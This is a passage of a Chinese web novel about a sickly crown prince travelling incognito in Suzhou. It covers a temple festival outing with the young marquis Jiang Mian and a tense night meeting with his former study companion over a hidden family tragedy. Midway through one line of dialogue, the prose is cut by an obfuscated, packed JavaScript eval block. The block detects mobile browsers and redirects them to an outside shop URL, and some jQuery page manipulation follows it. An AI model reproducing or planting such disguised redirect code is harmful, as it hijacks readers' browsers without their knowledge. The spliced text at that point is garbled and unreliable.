和方才比宛如变了个人,脸红得像是要滴出血来,动作也慌张局促,脖子和手好像也变红了,眼睛却是亮的,漾着清澈的水光直直看着他,眼神没有任何的阴霾。更像是一支春生怒放的花束了。 “万一有你想吃的呢?” 声音很轻。内里的希冀劲儿却怎么也藏不住,钻进了宴知行心里,也开出一朵小花来。 * 张罗的时候应江眠建议,宴知行晒了会儿太阳,金色的阳光落在身上暖酥酥的,好像将他周身的死气也晒淡了点,手脚都温热起来。 心情好了身体的疼痛却不会那么快消散,宴知行慢慢吃了点菜,不多,但能吃下去就总是好过空腹干耗着。 这个时代的外卖还不大一样,冷吃的菜品直接从酒楼里走,热菜名菜却是有厨子跑堂跟着一齐到主家,现烧油锅现做,宴知行放了筷子便有酒楼的下人奉上新蒸的甜品,不是酥酪,但看着还是甜丝丝的奶制品,宴知行尝了下觉得尚可,看着对面江眠大口大口地吃饭,自己有一勺没一勺地用着。 别说,看江眠的吃相还挺开胃。 饭后两人坐在院子里饮茶晒太阳,江眠肚皮都是鼓的,嗯,真好吃。 宴知行:“我这儿几乎都是素的,荤腥不多,你平时记得多吃肉。” 他沾不得太油腻的,脾胃受不了。 但江眠不一样,他这个年纪,又正是康健,是该多多吃肉的。 “啊,我有吃啊,赶回来前承吉还塞了我一个鸡腿呢!”蓦的看向宴知行,江眠狡黠道,“你怕我客气亏待了自己啊?” 笑着摇头,“不会的,哪有陪病人用饭把自己吃出问题的,我脸皮没那么薄!” “你有数就好。” “怎么忽然说这个,你遇到过?” 宴知行都不知道该感慨他的嗅觉敏锐,还是误打误撞刚刚好,茶盖拨了拨茶碗,宴知行最终从心道,“嗯,我病的时候脾气不好,早年我小舅看护我的时候陪我这样吃了一个月。” “然后?” “有天忽然晕了,大夫说是吃得太素了。” “那你小舅待你很用心啊。” 宴知行茶盖又拨了拨茶汤,瓷器发出清脆的击响,他看着涟漪不断的汤面,轻声道:“是吧,他生得晚在家排行最末,说是我舅舅,其实更像是我哥哥。母亲离开后,他总觉得自己该多多看顾我,便格外用心些。” “你们关系应该很好。” 宴知行拨茶汤的手一顿,缓缓放下,“对了,你要和我说什么上巳节?” “哦哦对,今天我们一出去……” 江眠有种讲故事的能力,明明宴知行没有出门,却好似通过他的眼睛鼻子耳朵,真切地看到了街上遍布的兰草花束,花红柳绿的少女倩影,嗅到脂粉鲜花带来的阵阵香气,听到满大街人头攒动的喧嚣嘈杂。 “还有好几天呢,你这几天可千万得好好养着,然后上巳节我带你出门去过节。” “我都想好了,都说上巳节驱疫辟邪。当天要洗兰汤浴,我们买好药材在府里洗完再出门,吃的地方就等如意和承吉吵出个结果,吃完我们转道重元寺,寺庙里都有大师祝祷,用杨枝沾露祓禊去灾,我们也去求个吉利。” “刚好,你看你最近总病,正好拜拜菩萨,保你百病尽消无痛无灾。” 江眠把自己说美了,笑得眼睛弯弯。 阳光落在他脸上眼底,将他脸颊上细碎的绒毛,眼底的纯然坦荡打照得一览无余。 宴知行静静看着他的笑,点头应道:“好。” 唇角也牵起个笑,继续聆听江眠的春日畅想,手边的茶汤汤面已经澄静了下来,宴知行却直到离开,都没再动过一口。 * 上巳节,春光灿烂。 从马车上下来,便见重元寺前香客 不断,道路两旁桃花盛放,素日里待在闺阁中的女子们也纷纷相约结伴,浓妆淡抹盛装出行。 “好热闹。”宴知行挑开车帘看上一眼,发出如此感慨。 “我也觉得,成祥已经带人先行去庙里瞧上一眼,若是走不动道,怕是还得带些开路的家将才好。” 江眠在车下应了声,顺道便伸手借力,让宴知行抓着他手腕稳稳落了地。 刚找到上下马车脚凳的福安看见这一幕,默默又将脚蹬放回了原处。 江眠往边上扫了眼,一愣,又扫了眼,不多时,跟着再偷瞧一眼。 今天的宴知行,很不一样。 他没穿素日里喜爱的深色衣衫,也没有选府上给他新制的亮色春袍。 而是换了一身他自己的不常见的浅色襕衫。 在江眠眼里是一种带紫的雾蓝色,当代称这种颜色为东方既白,形容天光乍破时的苍穹,领口处露出一点雪白的中衣裹着修长颈项,整个人便好似陷在灰蓝的温柔里,冷淡的眼角眉梢都被这颜色烘得柔和几分。 束了发冠,白玉冠,头发全收了起来,下颌脖颈越发显得清瘦,形销骨立飘然欲仙。 江眠小步往他靠了靠,闻到了两人身上相同的佩兰香气。 哦,早间他们沐浴的药包是一道配制的。 他们现在该是一样的味道。 江眠身上生出些燥,不敢再去看宴知行,但不老实地嗅了嗅自己的佩兰香囊,心猿意马。 成祥回来得很快,寺庙外桃花盛放踏青的人多,寺庙内的香客反倒是还好。 节日祝祷从一大早就开始了,在寺庙的最深处,入庙的香客都可以前去受大师赐福,祓禊去灾。 宴知行按惯例先去拜了药师佛,福安在功德箱里塞入一个厚厚的红封,找看守的僧人要了三个新鲜的贡果小心收在包里,等他们拜完出殿,外间却只剩一个成祥站在原地,说前面庙宇热闹,江眠主仆三人已经按捺不住过去了。 福安:“小侯爷不拜拜药师佛吗?” 成祥却十分随意,“不必,我们侯爷这方面福缘深厚,不怎么求的。” 宴知行心头一动。 下一个庙供的是观音菩萨,香客众多,他们还没进庙便见有人冲着他们招手,走近看清楚江眠模样,宴知行一怔,“你脸上……” “哦,这个,方才在殿里僧人给我点的。” 江眠还是那副讨喜的笑脸,皮肤白皙细腻,唯一不同的便是额心多出了一枚红点,宴知行再去看的时候,庙宇钟声敲响,当当当连响不断,惹得他无意识跟着又看了一眼江眠头顶,空空如也,还是没有出现命线。 其实最近他已经不怎么在意这个了,但眼下…… 江眠眼珠一转,忽起兴道,“我给你表演一个才艺,你等着。” 等人再跑回来,不知道从哪里寻了一块红绸,迎着风轻轻柔柔落下,把头发挡住,双手合掌,眼睫垂落一霎,缓缓抬眸。 面如银盘,眉心红点,眼神清净庄严,好像…… “是不是有几分神似菩萨座下的童子?”江眠笑问。 宴知行定定看了他几息,蓦的伸手,在他头顶了虚抓一把。 他眼里所有人都有命线,哪怕将死之人已经看不到红色,但只要他伸手去碰,总会有个空框闪现几下,提醒他命运的存在。对江眠,其实他一直都想试试来着,但说不上的,又总觉得不会如他意料。 果然,手直直穿过了虚空,却什么都没有出现。 江眠的头顶,是一片彻底的空白。 他果真没有命线。 17. 求愿 横亘数个朝代的古刹里,钟鸣声如涟漪一圈一圈以极强的穿透力荡开至寺庙的各个角落,然后渐弱渐无,如青烟消散开去。 钟声落,梵音起,一阵阵诵经声腾空—— “凡有所相,皆是虚妄。 若见诸相非相,则见如来。” 细密的经文蕴含着世间无上大智慧,如水波穿过殿外的每一个人。 江眠见宴知行迟迟不说话,望了自己头上一眼,什么都没有,纳罕地歪了歪头。 阵阵吟诵声里,宴知行看着江眠有了瞬间的恍惚,不知道自己看的是长公主府嫡子,菩萨座下神仙童子,还是更深更远根植于江眠身体内的那些不可言说。 奇怪的驭马术,完好的果核,扭曲的飞针针尖,凡此种种显然都已经超过了人力能解释的范畴…… 他们或许是同类。 宴知行曾经动过这个念头。 就像他能看到人的命线一般,江眠身上必定也存在某种怪力乱神的禀赋。 但现在他不这样想了。 他们,更确切的说,恐怕是类似照镜一般颠倒的存在。 就算都有超越凡俗的神通,他更像是被妖鬼缠身,日复一日地诅咒经年地蚕食,久而久之便与邪祟长到了一处再不分彼此,此身不详所带来的一点特异。而江眠,则才是仙人眷顾神佛青睐,那些深厚的福泽如金光般洒在他身上,取用不尽所满溢出来的些些庇佑。 太阳从云层里跃出,日光粼粼洒在了江眠头顶的红绸之上,打照他更像是一尊玉雪雕铸的神仙童子。而他恰好站在石柱投射的阴影里,立身暗处看着江眠。 宴知行扯了扯唇角, 几分落寞又几分释然。 “菩萨座下童子都是可以许愿的,不知道向小侯爷求告,能不能应验?” 江眠愣了下,他身上带着系统,严格来说,确实能办到一些非人能及的事情。 不过, 扬了扬下巴,江眠圆眼澄亮道,“求神可是都要上供的,公子你既要求我,可想好了用什么来求?” 宴知行眸子缩了下,像是第一次认识江眠一样,眼神幽幽看着他,那视线好似要看进江眠的身体里去,看到他魂火寄存的最深处。 宴知行缓缓抬起手对江眠招了招。 江眠不设防往前凑来,然后,那好看的指骨猝然落下。 咚,江眠闭眼捂额。 好用力的一下,江眠眼泪都被宴知行敲了出来。 “真是什么都敢往外说。” 如叹息的嗓音也是轻轻的,江眠头顶红绸被宴知行抽走,“别拿菩萨东西玩闹。” 等宴知行将红绸递还给门口解签的僧人,江眠才缓过那股子劲儿来,控诉道:“你怎么还打人的?” 鼻音厚重,听着委屈极了,金尊玉贵的小侯爷额头上红了一大块,泪眼婆娑可怜兮兮。 “痛?”宴知行看着那块红色拧眉,拇指抚了抚江眠额际,摸得江眠痒酥酥地避了避,重重点头。 “痛就对了,长记性,下次别再说这种话。” “?” 江眠瞪大了眼睛圆滚滚的不可置信。 宴知行低头笑了起来,凤眼尾部首次在江眠眼中折出一个小小的弯弧,公子清瘦,套在那一身整洁温柔的雾蓝色里,端是光风霁月皎皎出尘。 江眠的心不争气地蹦快了些。 宴知行又伸手来摸他额际,这次江眠没躲,仍旧痒酥酥的。 心思岔了,语声都少了几分理直气壮,“干嘛,打都打了,摸几下又不能好。” “对不住,我真没想到会这么重。” 其实不是宴知行用力,是江眠生来如此,挨着碰着就容易淤血,不然他也不会开buff。 嘴上却不依不饶,“这就完了?” 额头上的手收了回去,看着那带茧的指节,江眠竟生出些许眷恋。 霍然抓住那手指,江眠将它按回自己额际,霸道起来,“让你收手了么?你连这都想赖?一会青紫起来我江小侯爷的面子往哪里搁?!” 宴知行忍俊不禁,“刚才谁说摸几下又不能好?”被压回去的手指却从善如流地继续揉按起来。 力道不重,但一下一下很有章法,能瞧得出来是个脾气极好的公子。 “哼哼。” “哈哈。” “……”江眠,“你这歉道得一点都不心诚!” “谁说的?我可是第一次替人做这种事,江侯爷。” 宴知行的手还没放下去,原本只是随意地轻抚,被江眠捉回去后反而认真了起来,从中间往外一圈圈地揉,为了看清楚宴知行还站近了些,江眠能感觉到对方的视线全神贯注地落在他头上。 拇指一下一下揉在他皮肤上,宴知行:“别的你也不缺,一会儿我替你在菩萨面前祈个愿当作赔罪吧。” “什么愿?” 他被按着额头,遮挡的视线里只有宴知行的手掌与瘦削下颌。 那淡色的嘴唇开合,语声轻缓却坚定。 “愿侯爷往后所得皆愿,长命百岁。” 江眠按僧侣指示,在庙后找到引来的水源擦掉蹭花的红点,顺便洗了把脸。 进庙里便见一袭雾蓝色身影端正跪在莲花蒲团上,双手合十低头闭目,香灰袅袅里,巨大的观音金身脚踩莲花,手持净瓶杨柳,面容悲悯目光慈爱注视着跪拜香客。 因数目太大,福安直接将厚厚的红封交予到内殿僧人手上。 僧人打开一看,讶异神情恰好被进殿的江眠撞见。 “你们这是包了多少,功德箱都塞不下?”福安回来,江眠好奇问他。 “公子说这个愿求得大,按往年在都城里求告的数目包的。” 江眠心念一动,“给我求的那个?” 福安点头,“公子说是替侯爷求的愿。” 见江眠不住去看宴知行,福安低声又添了句,“还得有一阵子,大愿需心诚需意专,还要言辞清晰具体……公子很久都没求过了。” 一炷香徐徐燃尽,宴知行纹丝不动,再半炷香,江眠在殿内都站得有些阴冷了,宴知行才睁开眼睛,由福安扶着站起了身。 走近江眠握了一把他腕子,果然,凉透了。 宴知行却笑,“这下够心诚了吧?” “够。”江眠嘴唇抿了抿,却没什么笑模样。 “怎么瞧着还在生气?” “我没有生气。” 出了殿找了块有太阳的地方,江眠按着宴知行坐下。 他是跪得有些头晕,身上也生冷,见江眠看穿了,宴知行也不再掩饰,安稳地在融融暖光里落了座。 如意承吉成祥被江眠放去自由活动,崔九同方跟着成祥跑了,福安不肯走,被江眠打发去找僧人讨要杯热水。 “我以前身体没有这么差的,还是高估了自己。”只剩两个人的时候,宴知行笑着道。 江眠认真问他,“你敲我那下,到底要我不要再说什么话?” “不要在菩萨面前开这种施恩的玩笑。天地万物,得失相依,若你办不到,在菩萨面前打诳语折福。若你办得到,妄言天机历来都是折寿的,你莫要挥霍自己深厚的福泽。” “你是怕对我不好……” 江眠默了默,“我记下了。” “半天也没个笑模样,你还说自己不生气?” “我不 生气。只是看你求愿那么认真,你的叮嘱我自然也当问清楚记在心上。” 江眠忍了半天,还是没忍住,对着宴知行道:“手。” 福安讨到水回来,隔着一段距离便听到江眠的声音。 “也没有不高兴。” “其实,我看着你就挺高兴的,真的。” 福安眼皮一跳,抬眼看清楚眼前场景,脚步也跟着一滞。 阳光下,江眠同宴知行并坐一处,日光匀匀地布洒在两人身上,他家公子看着小侯爷,江眠却低着头,手上握着的,好像是他家公子的手……看动作好像是在给公子,捂手? 宴知行好笑,“你见了谁不高兴?” “你不一样。”江眠低着头,感觉差不多了,换了另一只冷透的手,双手交握住,拢在掌心,神情认真,动作仔细道,“你很合我眼缘,我见到你,总是没由来的高兴,我也不知道自己在乐个什么。” 宴知行不说话了。 须臾,宴知行开口:“我出门前,父亲曾说,江南也未必是人间天堂,但我见了你,很喜欢这些时日侯爷你带我领略的江南风景,就算这里不是天堂,至少也是个很热闹的烟火人间,不虚此行。” 江眠抬眼,便见宴知行笑着道:“叨扰多日,好在事情都解决了,过几日我便打算回都城。” 江眠心口一空,“那、那我以后去都城的时候,再去看你。” “好啊。” 公子笑,甚至反手握了握他的手掌,真像是相识多年的好友一般。 “我喜欢梅子酒,只喝过果酒,你来找我可以带点。” 福安心口猛跳,几步上前,“公子,水。” 后面的话却还是没有堵住,宴知行接过,说完道,“北疆有什么花草吗,如果你顺手,也带些给我瞧瞧。” 宴知行在光里笑得金灿灿的,江眠心间却陡然空了一块,只木讷点了点头。 这一日草长莺飞,欢声细语。 很久以后宴知行回忆起来,一切都好似蒙着一层金光,暖融融的。 午间在庙里用的斋饭,晚间换了苏州的名酒楼,等夜幕落下,回府之际,宴知行终于同江眠说出今日他最后一个安排。 他该去见见章怀闵了。 只带他的人。 马车骨碌碌前行,江眠一行人一走,欢笑声好似也被抽了个干净。 看着倒水的福安,宴知行蓦然问他:“你觉得江眠如何?承吉还有成祥如意如何?” 福安茫然回道,“都很好,小侯爷待人和善,承吉如意虽然年纪小闹腾一点,但是规矩都是有的,成祥哥身手很好,不输崔九。” “我看你和承吉玩得不错。” “噢,公主府的人都很和气,很好相处。” 宴知行:“我把你给江眠如何?” 福安瞬间失声,不可置信看着宴知行。 “别作得这副模样,迟早的事,同方是世家子弟不需要我操心,剩下的人里就你和崔九跟了我最久,我五感敏锐又长居行宫,身边都是没有净身的少年,入宫不是个好去处,我走前,总是会替你们安排周全的。” “我瞧着你和崔九都挺喜欢江眠同他身边的人,日后若将你们赐给他,我也安心。” “公子……”福安行大礼跪拜,要说话前,泪水已然漱漱淌下。 宴知行却风轻云淡,“多的话不需说了,你好好想想。” 显然这个念头并不是临时起意。 外间同方拉了缰绳,马车停下,宴知行起身下车。 夜幕沉沉,压在苏州一处不起眼的别院上方。 宴知行静静看了会儿,抬步走进那漆黑的夜色里去。 18. 好时光 更深露重,宴知行加上了一件薄氅衣。 今年宫中裁制的春衣,玄色为底,压边布满清雅隽永的彩线,数种寓意吉祥的卷纹铺陈其上,底边满绣一圈代表皇室的太阳玄鸟图纹,金银绣线交织出煊赫逼人的灿灿权势。 宴知行神情未变,但华衣加身,白日那一副好脾气随和公子的模样,好似也跟着那一身雾蓝色的春衣一道被掩盖,消融在了皇室的威仪之下。 一步步踏入院落,属于宗室子弟宴知行的谦逊平和褪去,骨子里大燕太子宴璟泽的尊贵倨傲渐渐显露。 “公子。”值守的下人见到他们躬身行礼,头一直朝着宴知行方向低伏,直到人都走远得看不见了才起身继续自己的活计。 “公子。” “公子。” 一路行来,遇到仆佣侍卫不在少数,宴知行走过的地方零零散散或跪或蹲了一串人。 “公子。” 在宅邸深处小院前顿步,门口值守的护卫整齐划一半跪见礼,除去呼声,肃穆空气里只剩下衣料摩擦声和零星的刀剑清脆撞击。 小院窗户还亮着,一灯如豆,晦暗且飘摇的烛光好似随时都要被这铺天盖地的黑所吞没。 在干什么,看书吗?不像。 铮—— 古琴弦响,且悲且泣,悠远的乐声中不时伴随很重的滑弦嘶哑。 天高地阔,水宽山远,人一下子在琴音中变得微如尘芥渺渺不堪提。 宴知行站在院外听完了整首曲子。 门吱呀一声打开,随着仆佣的见礼,一盏又一盏灯火次第燃起,点亮了站在内室深处的那个清瘦身影。 分别小一月,衣衫看着还是空空荡荡的,也是不知他们两谁才是不久人世的那个。 “太子殿下。” 看清楚来人,白衣青年急急起身近前来行了隆重的跪拜大礼。 礼毕深深伏地,宴知行不发话,他便好似扎进了地里低得起不来一般。 数个呼吸后,眼见着那身影一动不动,宴知行轻叹道:“起来吧。” 章怀闵又重重磕了个头这才起身,他的书童上前搀扶被章怀闵挥退,宴知行看着他站起来,宽大的衣袍像一张布一般虚虚蒙在他身上,头抬起来,眼窝深陷两颊也突兀地凹进去,很是憔悴。 看模样他两还真是半斤八两。 宴知行摇了摇头,“现下的你若和我同行,怕是再不会有人认错皇子与伴读。” 章怀闵眼珠子木讷地转了下,拘束道,“殿下说笑了。” “说笑?”他不是个会说笑的人,当然,也不排除是被某个人传染了。烦人的人。 宴知行付之一笑,拢手往里走去,沉声缓缓道,“我们聊一下吧,怀闵。” 小院内外灯火通明,成群仆佣无声穿梭。 福安起了个手炉放宴知行手边,还是江眠给的那个,簇新的银丝手炉边缘已经被热气熏烤得泛出了黑色,宴知行慢慢转动着细瞧,“不知不觉都这么久了,我还记得到的时候本地人说正在倒春寒,得多多加衣,一转眼,我也换上了襕衫。” 章怀闵在宴知行对面落座,背直挺挺的离椅背空出一段距离,双手放在膝上,坐得四四方方的,眼眉低垂道:“烦劳殿下病体为我奔波操劳,逸兴实在惭愧。” 放在膝盖上的手稍一用力手背便凸显出嶙峋的筋骨,肩背平直到板正,腰身也是直杵杵的,章怀闵整个人像是拉满了弦的弓,紧绷到坐立皆难安。 宴知行就这样看着章怀闵,看得对方头越来越低,再收几分下巴都要杵到胸口上去。 宴知行忽而一笑,“你这个样子,倒是有几分第一次觐见我时的拘谨。” “好多年前了,现在想起来却还历历在目。” “那时候我刚从中宫换到行宫,身边一下子空了下来,某天小舅领了个小少年来,说是族中亲眷,来的时候小舅是牵着你的,介绍完了,身边人却只剩了半个。半个身子露在外面,半个不知道什么时候往小舅身后藏严实了。” 那个时候都小,没有那么多纷杂的心思,紧张就是真的紧张。 白衍把章怀闵推出来,小少年还踉跄了一下,这才想起来了似的,磕磕绊绊行礼,口中唤着太子殿下安好,手却忘了枕在额前,那头便砰一下好大声地磕到了地上,吓了宴知行和白衍一大跳,赶紧将人拉起来查看,怀闵额头已经是通红的一片。 “小舅问你疼不疼,你呆呆的,看起来都没反应过来。” 章怀闵思绪也回到了那一天,“殿下见笑,那年头一次见贵人,失了礼数。” “那是,后面熟了,胆子就大了。” 拢共七八个少年,挑一个作伴读,一个作习武的陪练。 伴读宴知行挑中了章怀闵。 “刚来的时候本本分分的,身形也还没有长起来,老师罚了什么也都一一照做,抄书抄到半夜把自己给累倒了,要不是我帮你求太傅,病好了你还打算继续抄写来着。” “不过你学得快,后面等太傅老师们都认定你老实后,倒是方便了很多。” “那盏醒狮灯笼现在都还在我殿里挂着。” 章怀闵也想起来了,不由浅浅笑了下,“万幸头天过节,老师们也不会特意来看我到底带了多少节礼,不然放食盒也藏不住。” “我记得还是父皇赏你的螺钿提盒,当年宫中总共就上贡了三件。” 章怀闵手指搓了搓,“不是,是陛下赏给小国舅,小国舅当着陛下的面转赠我的。” 他口中的小国舅便是宴知行的小舅白衍,在礼部任职,朝堂上下尊称一声小国舅。 宴知行还有一位大舅,在内阁经营多年,现任内阁首辅,官员们则爱以白首辅称呼。 宴知行眼中焦点虚化片刻,“那天也是一个节日吧,我记得……” 章怀闵是老实孩子,但为人并不木讷呆板,刚开始有些畏惧宴知行,相熟之后放开了很多,宴知行也会教,身边大人的性情摸得透透的全然告知章怀闵,日子久了他不出面,很多事情章怀闵顶着那张老实的脸反而更容易得逞。 当然也不是些什么大事。 多是带些时兴糕点、节气礼物,还有都城书斋里正流行的笔墨纸砚进行宫。 那两年除去病倒的时日,细细想来,竟都是些轻松写意的好时光。 哈,正是,他也是过过些舒心日子的。 但少年的小伎俩并不会总是得逞,也有被抓包的时候。 “那年你让我坐你仪架里扮作你,我想着你很快就回来,还在里面吃糕点,车帘拉开我还招呼你来尝尝,哪知回头一看,太傅脸色铁青站在外面,吓得我半死。”章怀闵道。 “我当时好像是想去外围看看猎鹿,人倒是没什么事,但回来的时候太傅黑着脸站着,你长跪不起,我还用更衣借口糊弄。” 章怀闵学太傅捋了捋胡子,“结果太傅就这样问你,肠胃可是出了什么问题,去了三炷香之久,你还不信以为太傅诈你,睁眼说瞎话只去了一炷香……哈哈哈哈后面从你开始,一车的人挨个儿伸手接太傅他老人家的板子。” 宴知行怀念:“那个时候得有十三四了,太傅他也已经有小两年没对我动过板子。” “太傅近来可还好?” 章怀闵喝了口茶,身体姿态在旧有的儿时光景中慢慢松缓了下来。 宴知行:“他老人家身子骨健朗,孙子读书很不错,就是那个……大舅家表妹开始议亲了……小舅去岁刚得了个男孩,长子……” 暖黄的烛火晃动, 气氛就在闲杂琐碎中慢慢变得温吞家常起来。 其后宴知行又问章怀闵这两年在江南学堂读书的光景,听着自己曾经的伴读悠悠讲述。 还挺正常的。 许不是每个人都能把简单日子讲得活灵活现、五光十色。 渐渐渐的,宴知行喝水多了,说话少了。 等章怀闵意识到自己的声音空荡荡在屋子里显得干巴巴的单调时,一下子又缩进了自己的壳子里,挺直了胸膛,变回了那个拘谨小心的模样。 “差不多,就是这样了。”最后一句说完,章怀闵又动了动身体,无法安坐。 宴知行点了点头,也不说话,眼瞳沉沉的一片墨色,觑得章怀闵莫名心悸。 几个灯花爆开,细碎微小的噼啪声炸在空气里清晰可闻。 宴知行看了福安一眼,福安对身边人比了个手势,屋内伺候的下人安静有序地鱼贯退出内室,十几个人的屋子转眼就剩下五人,宴知行福安崔九,章怀闵还有他唯一一个长年伺候的书童。 宴知行看向那书童,书童慌张看向章怀闵,得到了主人的首肯,行了个礼跟着退走。 “殿下,可是要说些什么?” 宴知行久久不开口,章怀闵熬得受不住了,开口问道。 宴知行又喝了口水,咳了两声,平复后将手炉放近了些,看着手炉上翻转的手掌,平静道: “是有些事情要问你。” “但你已经告诉我了。” 平地惊雷,章怀闵手不可控抖了下,茶水全洒在了身上,他却像是感受不到一般捏紧了茶杯。两个呼吸后,章怀闵如常道,“殿下说笑……” 被宴知行打断,“你长进了。” 那视线明明没有看他,章怀闵却仍旧感受到了那股无处不在的贵人威仪。 “是好事。” “我来之前总是怕你太心诚,被人算计,现在安心多了。” “殿下……” 宴知行:“章宜年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574599|203857||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一案都城里一点风声都没有走漏,短短两三天便办完了,我知道的时候,流放你的旨意已经随着刑部官员走了半个月有余。我谎称想游历大燕山河,恳请下江南,父皇拦了拦还是允了……前几日我见了汪阁老门生,苏州刺史萧阳冰,他……” 章怀闵:“汪阁老这些年屡次上书废太子,他门生的话断不可信啊殿下!” 宴知行脸上还是没什么波澜,视线仍旧在手炉之上一瞬不瞬道:“他门生的话可能有假,但他的话我还是信的,我十岁前汪阁老曾教过我课业,他一心只为大燕,数年来兢兢业业从不参与党派争斗。” “汪阁老亲笔信,上书,若我有疑虑你或可解答。” 章怀闵脸色霎时变得苍白。 “其实到了这里,各种消息一凑,大致内情阁老他已经告知了我。” “是从白家内部出的岔子,对吧?” 章怀闵缄默,但视线已经低了下去,不敢再看宴知行。 宴知行笑了下,“办得快,是因为父皇想瞒着我,不愿走漏了风声。阁老要保他门生,同时汪嘉言向来和白家白衍不对付,数次恳请废太子父皇不允,白家真要出了点什么事情,他必然是巴不得我睁大眼睛好好瞅瞅的,能忍到现在,按他那个炮仗脾气已是难得。” “殿下……”章怀闵声音发起颤来。 宴知行忽地问他:“你知道,我当初为什么选你当伴读吗?” 每个少年都是不同人推荐来的,老实说,章怀闵在里面实在不算是出彩。 “我对外的说辞其实有几套。我对父皇说,我和你聊得来,你投我眼缘。对小舅我说,当然得选我母家的人我才放心,他荐来的,自然是最好的。对太傅我说,尚不知自己时日还有多少,先用着老实人,若有一日我身体能大好,再加几个精明的伴读也不是问题……” 宴知行哂然,“但这些都不是最关键的。” “最关键的是,我拿得住你。” “你心诚面嫩不善说谎,数日观察下来,只要一有点什么心不宁,手上的小动作就多,以前还有别的更明显的,在我的告知下你后续慢慢都改了,但我始终留着这个没提。” “因为我受够了谎话,不管是为我好还是要害我的,我都受够了。” “原是想着,要是哪一天真的大限将至,至少身边还能从你嘴里套出来几句真话。” “谁能想到,你当伴读时没用上,却是今日派上了用场。” 章怀闵如遭雷击,立即往回想去。 “不用想了,提起小舅时,你都有些不对劲。碾手指,看地面,摸衣角。中间有关他的我说错了几句,你也没有纠正,如果不是没有用心听,便是心烦意乱,已经留意不到这些枝节。” 话语稍顿了顿,宴知行叹道:“往年提起你是他荐来当伴读的,你总是会感激夸赞他一两句,今天却一句话都没说。” “跟他有关对不对?” “灭门之恨,不管他究竟做了什么,只要有牵扯,常人都很难掩饰得很好吧?” “更何况,这件事对你来说,不过也才过去两个月而已。” 宴知行声音仍旧是轻的,不带多少情绪。 福安却惊讶地看着章怀闵在他的言语下紧紧握起了拳头,额头青筋贲起,极为痛苦难耐的模样。 等那双紧闭的眼睛再睁开,章怀闵浑身颤抖,血红的眼不可自抑地落下泪来。 宴知行见此也阖了阖眼。 “殿下……”章怀闵抽了口气,死死压抑着道,“贵为千金之躯,身体要紧,万不可因此事而乱了心神,导致病情加重。” 福安有些目不忍睹了。 宴知行:“你知道父皇为什么同意我来苏州吗?” 章怀闵重重吸了两口气,看向宴知行。 太子殿下还是那副波澜不惊的模样,好似随口一句道: “因为我没有多久了,逸兴。” “我同父皇说,不想死了都没见过外面的世界,抱憾而终。” 宴知行又叹了口气,很轻,语声也出奇地平静。 彷佛一根羽毛没有重量地荡在空中。 “决定搬去行宫那天我对自己发过誓,总有一天,我身边人不会再一个接一个地枉死。” 当年在宫中的女官、女使,还有从小一道的大伴,他都没能保住。 哪怕去了行宫,按编号计,崔九也已经是他的第九任暗卫首领。 但好在近几年总算是安生了下来。 “苏州这么远我也来了。” “有些事我不想死了都蒙在鼓里,带进坟里。” “你觉得呢,怀闵?” 轻飘飘的话听入耳内却如有万斤,瞬间压塌了章怀闵最后一点摇摇欲坠的坚持,他泪流满面。